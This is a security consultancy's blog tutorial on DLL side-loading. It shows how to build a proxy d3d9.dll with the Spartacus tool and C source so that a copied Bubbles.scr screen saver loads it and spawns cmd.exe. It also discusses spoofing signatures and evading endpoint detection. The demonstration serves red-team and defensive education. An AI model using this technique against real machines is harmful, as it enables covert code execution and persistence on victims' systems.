top of page

Playing with Bubbles: An Introduction to DLL-Sideloading

If you read reports from breaches and CISA advisories often, one of the Tactics, Techniques, and Procedures (TTPs) you will often see is DLL side-loading. This is a common mechanism used in multi-stage payloads. Mapping them to the MITRE ATT&CK Enterprise Framework TTPs may be different in various scenarios and may include TTPs within the Persistence, Execution, Privilege Escalation, and Defense Evasion categories.

DLL Side-Loading is a pervasive technique partially because its behavior is difficult to detect. As a sub-technique of DLL Hijacking, it takes advantage of execution flow and allows the adversary to trigger the payload without waiting for an event (i.e. user login, application restart, reboot).

In this post, we'll make a benign DLL Side-Load executed from a Windows System32 application. We'll use a public blog post to guide us in development of our DLL.

To follow along, you'll need the following installed:

If the reader is unfamiliar with DLL Side-Loading, the following references will be helpful prior to proceeding:

The first thing we're going to do is look at c:\Windows\System32 in Explorer and find an application to test.

Although Bubbles is a screen saver, it's an executable. If you click on it, you should see bubbles go across your screen. If we look at the properties of the Bubbles screen saver, we can see that Users can execute this screen saver.

Now we'll make a directory called c:\test and copy and paste the Bubbles.scr file into the c:\test folder. Then, open ProcMon and create filters for:

  • path contains c:\test

  • path contains c:\windows\system32

Now let's capture events and see what happens if you click on Bubbles.scr from the c:\test directory.

We can see the Bubbles.scr executable looks for several DLLs it needs in the same folder instead of where they are normally located in c:\Windows\System32. The result of this is NAME NOT FOUND. This means that when the executable was developed, relative paths were used instead of absolute paths. This is common in software development to make updates easier.

For this exercise we'll explore if we can sideload the D3D9.dll. Before we make our own D3D9.dll, we need to know what function(s) the Bubbles.scr executable imports from D3D9.dll. We can do this with dumpbin.

First we'll look at the imports table of Bubbles.scr.

C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.35.32215\bin\Hostx86\x86>dumpbin.exe /imports c:\Windows\System32\Bubbles.scr

We can see Bubbles.scr imports the Direct3DCreate9 function from D3D9.dll. As a cross verification, we can use dumpbin to ensure D3D9.dll exports the Direct3DCreate9 function.

C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.35.32215\bin\Hostx86\x86>dumpbin.exe /exports c:\Windows\System32\d3d9.dll

Now we'll use a tool called Spartacus that detects if a DLL Sideload is present and generates skeleton code for us. If you prefer to do this manually, follow the steps in this blog.

After installing the Spartacus dependencies and making sure ProcMon is in the right path, run the following command and execute Bubbles before stopping the capture.

spartacus.exe --mode dll --procmon C:\SysInternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\VulnerableDLLFiles.csv --solution C:\Data\Solutions --verbose

Browsing to the path with the solution, we can see it made a skeleton DLL for us, which includes a debugging log. Note: DLLMain was snipped from the screenshot.

We would like our code to execute outside of DLLMain. However, notice that our code is missing the structure and the Module Definition File was not set in the properties for proxying the Direct3DCreate9 function to the real D3D9.dll in c:\windows\system32.

This makes sense because we haven't told Spartacus we want to proxy D3D9.dll exports.

Going back to Spartacus, there are options to create solutions with proxied exports.

spartacus.exe --mode proxy --ghidra C:\ghidra\ghidra\support\analyzeHeadless.bat --dll C:\Windows\System32\d3d9.dll --solution C:\Projects\spartacus-userenv --overwrite --verbose

This worked, with a few imperfections.

1. The .def file was not added for the Linker. To add the .def file to the Module Definition File setting, right click on the d3d9 solution in the Solutions Explorer on the right-hand side of the screen and select "Properties" at the bottom of the drop down. Expand the Linker selection of the d3d9 Property Pages, select Input, select Module Definition File and add d3d9.def as pictured below.

2. When using Ghidra to create the solution for our d3d9.dll, it found an additional function being exported, which wasn't in our dumpbin results earlier. You can comment out the code associated with the D3DPERF_GetStaus function because Bubbles.scr doesn't import that function. The modified code is below, including the sections that were commented out to get the binary to compile. The cmdspawn() function was added to prove code execution outside of DLLMain.

#pragma once

#pragma comment(linker,"/export:D3DPERF_BeginEvent=c:\\windows\\system32\\d3d9.D3DPERF_BeginEvent,@27")
#pragma comment(linker,"/export:D3DPERF_EndEvent=c:\\windows\\system32\\d3d9.D3DPERF_EndEvent,@28")
#pragma comment(linker,"/export:D3DPERF_GetStatus=c:\\windows\\system32\\d3d9.D3DPERF_GetStatus,@29")
#pragma comment(linker,"/export:D3DPERF_QueryRepeatFrame=c:\\windows\\system32\\d3d9.D3DPERF_QueryRepeatFrame,@30")
#pragma comment(linker,"/export:D3DPERF_SetMarker=c:\\windows\\system32\\d3d9.D3DPERF_SetMarker,@31")
#pragma comment(linker,"/export:D3DPERF_SetOptions=c:\\windows\\system32\\d3d9.D3DPERF_SetOptions,@32")
#pragma comment(linker,"/export:D3DPERF_SetRegion=c:\\windows\\system32\\d3d9.D3DPERF_SetRegion,@33")
#pragma comment(linker,"/export:DebugSetLevel=c:\\windows\\system32\\d3d9.DebugSetLevel,@34")
#pragma comment(linker,"/export:DebugSetMute=c:\\windows\\system32\\d3d9.DebugSetMute,@35")
#pragma comment(linker,"/export:Direct3D9EnableMaximizedWindowedModeShim=c:\\windows\\system32\\d3d9.Direct3D9EnableMaximizedWindowedModeShim,@36")
// #pragma comment(linker,"/export:Direct3DCreate9=c:\\windows\\system32\\d3d9.Direct3DCreate9,@37")
#pragma comment(linker,"/export:Direct3DCreate9Ex=c:\\windows\\system32\\d3d9.Direct3DCreate9Ex,@38")
#pragma comment(linker,"/export:Direct3DCreate9On12=c:\\windows\\system32\\d3d9.Direct3DCreate9On12,@20")
#pragma comment(linker,"/export:Direct3DCreate9On12Ex=c:\\windows\\system32\\d3d9.Direct3DCreate9On12Ex,@21")
#pragma comment(linker,"/export:Direct3DShaderValidatorCreate9=c:\\windows\\system32\\d3d9.Direct3DShaderValidatorCreate9,@24")
#pragma comment(linker,"/export:PSGPError=c:\\windows\\system32\\d3d9.PSGPError,@25")
#pragma comment(linker,"/export:PSGPSampleTexture=c:\\windows\\system32\\d3d9.PSGPSampleTexture,@26")

#include "windows.h"
#include "ios"
#include "fstream"

//Test for added code execution
void cmdspawn()
    WinExec("cmd.exe", 1);

//typedef BOOL(*D3DPERF_GetStatus_Type)();
typedef LONGLONG *(*Direct3DCreate9_Type)(unsigned int param_1);

// Remove this line if you aren't proxying any functions.
HMODULE hModule = LoadLibrary(L"c:\\windows\\system32\\d3d9.dll");

// Remove this function if you aren't proxying any functions.
//VOID DebugToFile(LPCSTR szInput)
    //std::ofstream log("spartacus-proxy-d3d9.log", std::ios_base::app | std::ios_base::out);
    //log << szInput;
    //log << "\n";

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
    switch (ul_reason_for_call)
    return TRUE;

//BOOL D3DPERF_GetStatus_Proxy()
	//D3DPERF_GetStatus_Type original = (D3DPERF_GetStatus_Type)GetProcAddress(hModule, "D3DPERF_GetStatus");
	//return original();

LONGLONG * Direct3DCreate9_Proxy(unsigned int param_1)
	Direct3DCreate9_Type original = (Direct3DCreate9_Type)GetProcAddress(hModule, "Direct3DCreate9");
	return original(param_1);

3. The .def file will have to be modified as well to remove the proxy of the D3DPERF_GetStaus function.

LIBRARY d3d9.dll

Now that we have our d3d9.dll made, place it in the c:\test directory along with the copy of Bubbles.scr from c:\windows\system32. Double click on Bubbles.scr. The screen will go black for up to a few seconds and when it returns to your desktop, a terminal window will appear on the screen.

Looking at the execution of Bubbles.scr from c:\test in ProcMon, we can observe the d3d9.dll image we created being loaded:

If we double click the image load to open the Event Properties and select the Process tab, we can see it looks like the Microsoft version of d3d9.dll but it's missing the build version.

Further exploring some of the differences between the d3d9.dll we created versus Microsoft's d3d9.dll, let's look at a side-by-side comparison of dumpbin results for both images.

We notice that the results don't include the Relative Virtual Address (RVA) for exports in our faked DLL, we can see which function was proxied, and all the other functions point to the Windows native DLL.

Looking at the properties of each DLL, we observe additional differences. It's important to keep in mind that we could do more work on our DLL to account for these differences, but let's still explore them.

First, we can see the real DLL permissions require TrustedInstaller for Full Control:

Second, we can see our faked DLL is not digitally signed:

We can also compare the size.

After fully developing a malicious DLL, we would also compare the entropy, attempt to make the size and entropy match, and spoof signing.

Unfortunately, aside from maybe Microsoft Defender for Endpoint (MDE), this behavior is not going to produce detections or artifacts aside from what's indexed on disk in default configurations of most Endpoint Detection products. Currently, detection occurs where and how you deliver your payload, which is usually in the form of multiple stages and shellcode executed in memory. This is a contributing factor for why this 13-year-old technique is still evasive and pervasive today. According to MITRE ATT&CK, the following threat groups have been known to use this technique, but this is not a complete list:

In my next blog post, we'll continue making our payload do more interesting things and apply some defense evasion.


Polito Inc. offers a wide range of security consulting services including threat hunting, penetration testing, vulnerability assessments, red teaming engagements, incident response, digital forensics, and more. If your business or your clients have any cyber security needs, contact our experts and experience what Masterful Cyber Security is all about.

Phone: 571-969-7039




Commenting has been turned off.
bottom of page